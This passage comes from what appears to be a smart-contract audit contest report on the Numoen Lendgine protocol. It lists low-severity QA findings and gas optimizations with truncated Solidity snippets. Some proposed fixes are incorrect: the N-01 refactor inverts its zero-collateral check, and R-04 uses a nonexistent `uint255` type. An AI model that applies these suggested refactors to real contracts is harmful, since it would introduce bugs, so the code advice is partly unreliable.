  if (totalSupply > 0 && totalLiquidityBorrowed == 0) rever

  totalLiquidityBorrowed += liquidity;
  (uint256 amount0, uint256 amount1) = burn(to, liquidity);
  _mint(to, shares);

  uint256 balanceBefore = Balance.balance(token1);
  IMintCallback(msg.sender).mintCallback(collateral, amount
  uint256 balanceAfter = Balance.balance(token1);

  if (balanceAfter < balanceBefore + collateral) revert Ins

  emit Mint(msg.sender, collateral, shares, liquidity, to)
}
```

[N-01] The function `collect` should revert incase the collateral is zero

The function `collect` is used by user to collect their position interest. As how it's designed the function ignores if the outcome of the collateral is zero and still executes the function. This is problematic considering an event is emitted, the function not reverting on zero collateral will lead to spamming zero values events. Apply a revert statement, so the function will revert instead of simply ignoring it.

```
src/core/Lendgine.sol

function collect(address to, uint256 collateralRequested)
  Position.Info storage position = positions[msg.sender];
  uint256 tokensOwed = position.tokensOwed;

  collateral = collateralRequested > tokensOwed ? tokensOw

  if (collateral > 0) {
    position.tokensOwed = tokensOwed - collateral; // SSTO
    SafeTransferLib.safeTransfer(token1, to, collateral);
  }

  emit Collect(msg.sender, to, collateral);
}
```

Refactor the above instance to:

```
function collect(address to, uint256 collateralRequested) extern
    Position.Info storage position = positions[msg.sender]; // S
    uint256 tokensOwed = position.tokensOwed;

    collateral = collateralRequested > tokensOwed ? tokensOwed :

    if (collateral > 0) revert ZeroCollater();
      position.tokensOwed = tokensOwed - collateral; // SSTORE
```

```
          SafeTransferLib.safeTransfer(token1, to, collateral);

        emit Collect(msg.sender, to, collateral);
      }
```

[N-02] The check for liquidity in `mint` is unrealistic, as it can never happen

In the core function `mint` a check is made to revert in any of the amount collateral, liquidity, shares is zero.
The outcome of the liquidity can never be zero, if the collateral is non zero.
Considering the fact that first it check if the collateral is zero and revert, the check for the liquidity is unnecessary and can be removed.

```
src/core/Lendgine.sol

71:  function mint(
72:    address to,
73:    uint256 collateral,
74:    bytes calldata data
75:  )
76:    external
77:    override
78:    nonReentrant
79:    returns (uint256 shares)
80:  {
81:    _accrueInterest();
82:
83:    uint256 liquidity = convertCollateralToLiquidity(collater
84:    shares = convertLiquidityToShare(liquidity);
85:
86:    if (collateral == 0 || liquidity == 0 || shares == 0) re
```

Consider removing `liquidity == 0` check on L86, as it's unrealistic from occurring:

```
86:    if (collateral == 0 || shares == 0) revert InputError();
```

[N-03] Unnecessary if statement applied in the function sweepToken

In the function `sweepToken` an if statement is made, which is triggered only if balanceToken is non zero.
This if statement is completely unnecessary, as before that another if statement is made to revert if the balance of the contract is below the minimum amount. As the minimum amount is over zero, there is no need for the second if statement after that.

```
src/periphery/Payment.sol

35:  function sweepToken(address token, uint256 amountMinimum, a
36:    uint256 balanceToken = Balance.balance(token);
37:    if (balanceToken < amountMinimum) revert InsufficientOutp
38:
39:    if (balanceToken > 0) {
40:      SafeTransferLib.safeTransfer(token, recipient, balanceT
41:    }
42:  }
```

In the above instance `if (balanceToken > 0)` is not needed and should be removed:

```
function sweepToken(address token, uint256 amountMinimum, addres
    uint256 balanceToken = Balance.balance(token);
    if (balanceToken < amountMinimum) revert InsufficientOutput

      SafeTransferLib.safeTransfer(token, recipient, balanceToke
  }
```

Other instance:

```
src/periphery/Payment.sol

25: function unwrapWETH
```

[N-04] Require statements missing strings

Require statements should have descriptive strings to describe why the revert occurs.

Instances:

```
src/periphery/SwapHelper.sol

116: require(amountOutReceived == params.amount);

src/libraries/SafeCast.sol

9: require((z = uint120(y)) == y);
16: require(y < 2 ** 255);
```

[N-05] Constructor lacks address(0) check

Zero-address check should be used in the constructors, to avoid the risk of setting a storage variable as address(0) at deploying time.

Instances:

```
src/periphery/LiquidityManager.sol

75: constructor(address _factory, address _weth) Payment(_weth)

src/periphery/LendgineRouter.sol

49: constructor

src/periphery/Payment.sol

17: constructor(address _weth) {

src/periphery/SwapHelper.sol

29: constructor(address _uniswapV2Factory, address _uniswapV3Fac
```

[N-06] Confusing revert statement

The modifier checkDeadline is used on both of the core functions `mint` and `burn`, the main use of the modifier is to check if the block.timestamp crossed the deadline, so the function can revert. A confusing revert name is used in the modifier, users which got the error won't understand the reason why the function reverts.

```
src/periphery/LendgineRouter.sol

modifier checkDeadline(uint256 deadline) {
  if (deadline < block.timestamp) revert LivelinessError();
  _;
}
```

Change the revert statement name, so it can be more understandable

Example:

```
revert Deadline();
```

[R-01] `invariant` could just return false if the liquidity is zero

In the function `invariant` a check is made, so that the function will revert incase liquidity is zero.
If triggered the statement returns `(amount0 == 0 && amount1 == 0)`, so it can revert as inputted amount0 and amount1 can never be zero. Instead of doing all of that a simple false can be applied, so the function can return false and revert.

```
src/core/Pair.sol

function invariant(uint256 amount0, uint256 amount1, uint25
  if (liquidity == 0) return (amount0 == 0 && amount1 == 0)

  uint256 scale0 = FullMath.mulDiv(amount0, 1e18, liquidity
  uint256 scale1 = FullMath.mulDiv(amount1, 1e18, liquidity

  if (scale1 > 2 * upperBound) revert InvariantError();

  uint256 a = scale0 * 1e18;
  uint256 b = scale1 * upperBound;
```

```
    uint256 c = (scale1 * scale1) / 4;
    uint256 d = upperBound * upperBound;

    return a + b >= c + d;
  }
```

The above instance can be refactored to:

```
function invariant(uint256 amount0, uint256 amount1, uint256 lic
+   if (liquidity == 0) return false;

    uint256 scale0 = FullMath.mulDiv(amount0, 1e18, liquidity) *
    uint256 scale1 = FullMath.mulDiv(amount1, 1e18, liquidity) *

    if (scale1 > 2 * upperBound) revert InvariantError();

    uint256 a = scale0 * 1e18;
    uint256 b = scale1 * upperBound;
    uint256 c = (scale1 * scale1) / 4;
    uint256 d = upperBound * upperBound;

    return a + b >= c + d;
  }
```

[R-02] Some number values can be refactored with _

Consider using underscores for number values to improve readability.

```
src/periphery/UniswapV2/libraries/UniswapV2Library.sol

64: uint256 denominator = (reserveIn * 1000) + amountInWithFee;
80: uint256 numerator = reserveIn * amountOut * 1000;
```

The instances above can be refactored to:

```
64: uint256 denominator = (reserveIn * 1_000) + amountInWithFee;
80: uint256 numerator = reserveIn * amountOut * 1_000;
```

[R-03] Value should be unchecked

In the deposit function the storage variable `totalPositionSize` is updated, which represents the total amount of positions issued. Considering the fact the variable is of uint256, an overflow in unrealistic and therefore impossible.

```
src/core/Lendgine.sol

145: totalPositionSize = _totalPositionSize + size;
```

[R-04] `2**<n> - 1` can be refactored as `type(uint<n>).max`

```
src/libraries/SafeCast.sol

15:  function toInt256(uint256 y) internal pure returns (int256
16:    require(y < 2 ** 255);
17:    z = int256(y);
18:  }
```

The above instance can be refactored to:

```
function toInt256(uint256 y) internal pure returns (int256 z) {
    require(y < type(uint255).max - 1);
    z = int256(y);
  }
```

[O-01] Floating pragma

Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively.

Instances:

```
    src/core/libraries/Position.sol
    src/libraries/SafeCast.sol
    src/libraries/Balance.sol
    src/core/Pair.sol
    src/periphery/SwapHelper.sol
    src/periphery/Payment.sol
    src/core/JumpRate.sol
    src/core/ImmutableState.sol
    src/periphery/LendgineRouter.sol
    src/periphery/LiquidityManager.sol
    src/core/Lendgine.sol
    src/core/Factory.sol
```

[O-02] Use a more recent pragma version

Old version of solidity is used, consider using the new one `0.8.17`.
You can see what new versions offer regarding bug fixed here.

Instances - All of the contracts.

[O-03] Events is missing indexed fields

Index event fields make the field more quickly accessible to off-chain.
Each event should use three indexed fields if there are three or more fields.

Instances in:

```
    src/core/Lendgine.sol
```

[O-04] Function Naming suggestions

Proper use of `_` as a function name prefix and a common pattern is to prefix internal and private function names with `_`.
This pattern is correctly applied in the Party contracts, however there are some inconsistencies in the libraries.

Instances:

```
src/periphery/UniswapV2/libraries/UniswapV2Library.sol

10: function sortTokens
17: function pairFor
36: function getReserves
51: function getAmountOut
69: function getAmountIn

src/core/libraries/Position.sol

69: function newTokensOwed
73: function convertLiquidityToPosition
86: function convertPositionToLiquidity

src/periphery/libraries/LendgineAddress.sol

9: function computeAddress

src/libraries/SafeCast.sol

8: function toUint120
15: function toInt256

src/libraries/Balance.sol

12: function balance

src/core/libraries/PositionMath.sol

12: function addDelta
```

[O-05] Proper use of get as a function name prefix

Clear function names can increase readability. Follow a standard convertion function names such as using get for getter (view/pure) functions.

Instances:

```
src/periphery/UniswapV2/libraries/UniswapV2Library.sol

10: function sortTokens
```

```
src/periphery/libraries/LendgineAddress.sol

9: function computeAddress

src/core/Pair.sol

53: function invariant
```

[O-06] Hardcoded values can't be changed

The storage variables kink, multiplier and jumpMultiplier all use hardcoded values, which can't be changed in the future.
And these values are the base logic for the calculation of the interest rate curve.

Instance:

```
src/core/JumpRate.sol
```

[O-07] PositionMath contains outdated compiler version

Using an outdated compiler version can be problematic especially if there are publicly disclosed bugs and issues that affect the current compiler version. It is recommended to use a recent version of the Solidity compiler.

Instance:

```
src/core/libraries/PositionMath.sol
```

kyscott18 (Numoen) confirmed and commented:

> All the low risk findings have been addressed in other issues so I probably won't change anything in the codebase that I don't have to, but this is a very well written summary of issues.

berndartmueller (judge) commented:

> Very well-written and thorough QA report! I agree with all the points mentioned.

Gas Optimizations

For this contest, 17 reports were submitted by wardens detailing gas optimizations. The report highlighted below by **NoamYakov** received the top score from the judge.

The following wardens also submitted reports: Deivitto, Aymen0909, matrix_0wl, RaymondFam, c3phas, nadin, IllIllI, cryptostellar5, Diana, antonttc, 0xackermann, 0xSmartContract, ReyAdmirado, Rolezn, oyc_109, *and* arialblack14.

Summary

	Issue	Instances	Total Gas Saved
[G-01]	Using `storage` instead of `memory` for structs/arrays saves gas	2	4200
[G-02]	Structs can be packed into fewer storage slots	4	-
[G-03]	`keccak256()` should only need to be called on a specific string literal once	1	42
[G-04]	Add `unchecked {}` for subtractions where the operands cannot underflow because of a previous `require()` or `if` -statement	10	850
[G-05]	Multiple accesses of a mapping/array should use a local variable cache	7	294
[G-06]	State variables should be cached in stack variables rather than re-reading them from storage	10	1000
[G-07]	Avoid contract existence checks by using low level calls	18	1800
[G-08]	`<x> += <y>` costs more gas than `<x> = <x> + <y>` for state variables (`-=` too)	4	452

Total: 56 instances over 8 issues with **8638 gas** saved.

Gas totals use lower bounds of ranges and count two iterations of each `for` -loop. All values above are runtime, not deployment, values; deployment values are listed in the individual issue descriptions.

[G-01] Using `storage` instead of `memory` for structs/arrays saves gas

When fetching data from a storage location, assigning the data to a `memory` variable causes all fields of the struct/array to be read from storage, which incurs a Gcoldsload (**2100 gas**) for *each* field of the struct/array. If the fields are read from the new memory variable, they incur an additional `MLOAD` rather than a cheap stack read. Instead of declaring the variable with the `memory` keyword, declaring the variable with the `storage` keyword and caching any fields that need to be re-read in stack variables, will be much cheaper, only incuring the Gcoldsload for the fields actually read. The only time it makes sense to read the whole struct/array into a `memory` variable, is if the full struct/array is being returned by the function, is being passed to a function that requires `memory`, or if the array/struct is being read from another `memory` array/struct.

There are 2 instances of this issue:

```
File: src\core\Lendgine.sol

/// @audit `rewardPerPositionPaid` isn't used
167      Position.Info memory positionInfo = positions[msg.sender

/// @audit `tokensOwed` isn't used
167      Position.Info memory positionInfo = positions[msg.sender
```

[G-02] Structs can be packed into fewer storage slots

Each slot saved can avoid an extra Gsset (**20000 gas**) for the first setting of the struct. Subsequent reads as well as writes have smaller gas savings.

There are 4 instances of this issue:

```
File: src\periphery\LendgineRouter.sol

/// @audit `swapType` can be after `payer`
74    struct MintCallbackData {
75      address token0;
76      address token1;
```

```
    uint256 token0Exp;
    uint256 token1Exp;
    uint256 upperBound;
    uint256 collateralMax;
    SwapType swapType;
    bytes swapExtraData;
    address payer;
  }

/// @audit `swapType` can be after `recipient`
  struct MintParams {
    address token0;
    address token1;
    uint256 token0Exp;
    uint256 token1Exp;
    uint256 upperBound;
    uint256 amountIn;
    uint256 amountBorrow;
    uint256 sharesMin;
    SwapType swapType;
    bytes swapExtraData;
    address recipient;
    uint256 deadline;
  }

/// @audit `swapType` can be after `recipient`
  struct PairMintCallbackData {
    address token0;
    address token1;
    uint256 token0Exp;
    uint256 token1Exp;
    uint256 upperBound;
    uint256 collateralMin;
    uint256 amount0Min;
    uint256 amount1Min;
    SwapType swapType;
    bytes swapExtraData;
    address recipient;
  }

/// @audit `swapType` can be after `recipient`
  struct BurnParams {
    address token0;
    address token1;
    uint256 token0Exp;
    uint256 token1Exp;
```

```
245      uint256 upperBound;
246      uint256 shares;
247      uint256 collateralMin;
248      uint256 amount0Min;
249      uint256 amount1Min;
250      SwapType swapType;
251      bytes swapExtraData;
252      address recipient;
253      uint256 deadline;
254    }
```

[G-03] `keccak256()` should only need to be called on a specific string literal once

It should be saved to an immutable variable, and the variable used instead. If the hash is being used as a part of a function selector, the cast to `bytes4` should also only be done once.

There is 1 instance of this issue:

```
File: src\libraries\Balance.sol

13        (bool success, bytes memory data) =
14          token.staticcall(abi.encodeWithSelector(bytes4(keccak2
```

[G-04] Add `unchecked {}` for subtractions where the operands cannot underflow because of a previous `require()` or `if` -statement

`require(a <= b); x = b - a` **=>** `require(a <= b); unchecked { x = b - a }`.

There are 10 instances of this issue:

```
File: src\core\JumpRate.sol

/// @audit `if`-condition on line 16
```

```
20        uint256 excessUtil = util - kink;
```

```
File: src\core\Lendgine.sol

/// @audit ternary expression on line 198
201        position.tokensOwed = tokensOwed - collateral; // SST

244      uint256 timeElapsed = block.timestamp - lastUpdate;

/// @audit ternary expression on line 253
256      totalLiquidityBorrowed = _totalLiquidityBorrowed - dilut
```

```
File: src\core\Pair.sol

/// @audit checked arithmetic on line 106
108      reserve0 = _reserve0 - SafeCast.toUint120(amount0); // S

/// @audit checked arithmetic on line 106
109      reserve1 = _reserve1 - SafeCast.toUint120(amount1); // S

/// @audit checked arithmetic on line 106
110      totalLiquidity = _totalLiquidity - liquidity; // SSTORE

/// @audit checked arithmetic on line 131
135      reserve0 = _reserve0 + SafeCast.toUint120(amount0In) - S

/// @audit checked arithmetic on line 131
136      reserve1 = _reserve1 + SafeCast.toUint120(amount1In) - S
```

```
File: src\periphery\SwapHelper.sol

107          zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.
```

[G-05] Multiple accesses of a mapping/array should use a local variable cache

The instances below point to the second+ access of a value inside a mapping/array, within a function. Caching a mapping's value in a local `storage` or `calldata` variable when the value is accessed multiple times, saves **~42 gas per access** due to not having to recalculate the key's keccak256 hash (Gkeccak256 - **30 gas**) and that calculation's associated stack operations. Caching an array's struct avoids recalculating the array offsets into memory/calldata.

There are 7 instances of this issue:

```
File: src\core\Factory.sol

/// @audit `getLendgine[token0]` on line 76
86      getLendgine[token0][token1][token0Exp][token1Exp][upperE

/// @audit `getLendgine[token0][token1]` on line 76
86      getLendgine[token0][token1][token0Exp][token1Exp][upperE

/// @audit `getLendgine[token0][token1][token0Exp]` on line 76
86      getLendgine[token0][token1][token0Exp][token1Exp][upperE

/// @audit `getLendgine[token0][token1][token0Exp][token1Exp]` c
86      getLendgine[token0][token1][token0Exp][token1Exp][upperE
```

```
File: src\periphery\LiquidityManager.sol

/// @audit `positions[params.recipient]` on line 175
182     positions[params.recipient][lendgine] = position; // SST

/// @audit `positions[msg.sender]` on line 211
218     positions[msg.sender][lendgine] = position; // SSTORE

/// @audit `positions[msg.sender]` on line 235
244     positions[msg.sender][params.lendgine] = position; // SS
```

[G-06] State variables should be cached in stack variables rather than re-reading them from storage

The instances below point to the second+ access of a state variable within a function. Caching of a state variable replaces each Gwarmaccess (**100 gas**) with a much cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs, or having local caches of state variable contracts/addresses.

There are 10 instances of this issue:

```
File: src\core\Factory.sol

/// @audit `getLendgine[token0]` on line 76
86      getLendgine[token0][token1][token0Exp][token1Exp][upperB

/// @audit `getLendgine[token0][token1]` on line 76
86      getLendgine[token0][token1][token0Exp][token1Exp][upperB

/// @audit `getLendgine[token0][token1][token0Exp]` on line 76
86      getLendgine[token0][token1][token0Exp][token1Exp][upperB

/// @audit `getLendgine[token0][token1][token0Exp][token1Exp]` o
86      getLendgine[token0][token1][token0Exp][token1Exp][upperB
```

```
File: src\core\Lendgine.sol

/// @audit `totalPositionSize` on line 135
142     if (totalLiquiditySupplied == 0 && totalPositionSize > 0

/// @audit `totalPositionSize` on line 163
176     totalPositionSize -= size;

/// @audit `totalLiquidityBorrowed` on line 239
247     uint256 _totalLiquidityBorrowed = totalLiquidityBorrowed
```

```
File: src\periphery\LiquidityManager.sol

/// @audit `positions[params.recipient]` on line 175
182     positions[params.recipient][lendgine] = position; // SST

/// @audit `positions[msg.sender]` on line 211
218     positions[msg.sender][lendgine] = position; // SSTORE

/// @audit `positions[msg.sender]` on line 235
244     positions[msg.sender][params.lendgine] = position; // SS
```

[G-07] Avoid contract existence checks by using low level calls

Prior to 0.8.10 the compiler inserted extra code, including `EXTCODESIZE` (**100 gas**), to check for contract existence for external function calls. In more recent solidity versions, the compiler will not insert these checks if the external call has a return value. Similar behavior can be achieved in earlier versions by using low-level calls, since low level calls never check for contract existence.

There are 18 instances of this issue:

```
File: src\core\ImmutableState.sol

/// @audit parameters()
33      (token0, token1, _token0Exp, _token1Exp, upperBound) = I
```

```
File: src\periphery\LendgineRouter.sol

/// @audit mint()
147     shares = ILendgine(lendgine).mint(
148       address(this),
149       params.amountIn + params.amountBorrow,
150       abi.encode(
151         MintCallbackData({
152           token0: params.token0,
153           token1: params.token1,
154           token0Exp: params.token0Exp,
155           token1Exp: params.token1Exp,
156           upperBound: params.upperBound,
157           collateralMax: params.amountIn,
158           swapType: params.swapType,
159           swapExtraData: params.swapExtraData,
160           payer: msg.sender
161         })
162       )
163     );

/// @audit reserve0()
198     uint256 r0 = ILendgine(msg.sender).reserve0();

/// @audit reserve1()
199     uint256 r1 = ILendgine(msg.sender).reserve1();
```

```
/// @audit totalLiquidity()
200     uint256 totalLiquidity = ILendgine(msg.sender).totalLiqu

/// @audit convertLiquidityToCollateral()
231     uint256 collateralTotal = ILendgine(msg.sender).convertI

/// @audit burn()
266     amount = ILendgine(lendgine).burn(
267       address(this),
268       abi.encode(
269         PairMintCallbackData({
270           token0: params.token0,
271           token1: params.token1,
272           token0Exp: params.token0Exp,
273           token1Exp: params.token1Exp,
274           upperBound: params.upperBound,
275           collateralMin: params.collateralMin,
276           amount0Min: params.amount0Min,
277           amount1Min: params.amount1Min,
278           swapType: params.swapType,
279           swapExtraData: params.swapExtraData,
280           recipient: recipient
281         })
282       )
283     );
```

```
File: src\periphery\LiquidityManager.sol

/// @audit reserve0()
140     uint256 r0 = ILendgine(lendgine).reserve0();

/// @audit reserve1()
141     uint256 r1 = ILendgine(lendgine).reserve1();

/// @audit totalLiquidity()
142     uint256 totalLiquidity = ILendgine(lendgine).totalLiquic

/// @audit deposit()
157     uint256 size = ILendgine(lendgine).deposit(
158       address(this),
159       params.liquidity,
160       abi.encode(
161         PairMintCallbackData({
```

```
162           token0: params.token0,
163           token1: params.token1,
164           token0Exp: params.token0Exp,
165           token1Exp: params.token1Exp,
166           upperBound: params.upperBound,
167           amount0: amount0,
168           amount1: amount1,
169           payer: msg.sender
170         })
171       )
172     );

/// @audit positions()
177     (, uint256 rewardPerPositionPaid,) = ILendgine(lendgine)

/// @audit withdraw()
208     (uint256 amount0, uint256 amount1, uint256 liquidity) =

/// @audit positions()
213     (, uint256 rewardPerPositionPaid,) = ILendgine(lendgine)

/// @audit positions()
237     (, uint256 rewardPerPositionPaid,) = ILendgine(params.le

/// @audit collect()
246     uint256 collectAmount = ILendgine(params.lendgine).colle
```

```
File: src\periphery\SwapHelper.sol

/// @audit swap()
103       (int256 amount0, int256 amount1) = pool.swap(
104         params.recipient,
105         zeroForOne,
106         params.amount,
107         zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.
108         abi.encode(params.tokenIn)
109       );
```

```
File: src\periphery\UniswapV2\libraries\UniswapV2Library.sol

/// @audit getReserves()
46      (uint256 reserve0, uint256 reserve1,) = IUniswapV2Pair(p
```

[G-08] `<x> += <y>` costs more gas than `<x> = <x> + <y>` for state variables (`-=` too)

Using the addition operator instead of plus-equals saves 113 gas. Subtractions act the same way.

There are 4 instances of this issue:

```
File: src\core\Lendgine.sol

91      totalLiquidityBorrowed += liquidity;

114     totalLiquidityBorrowed -= liquidity;

176     totalPositionSize -= size;

257     rewardPerPositionStored += FullMath.mulDiv(dilutionSpecu
```

Disclosures

C4 is an open organization governed by participants in the community.

C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top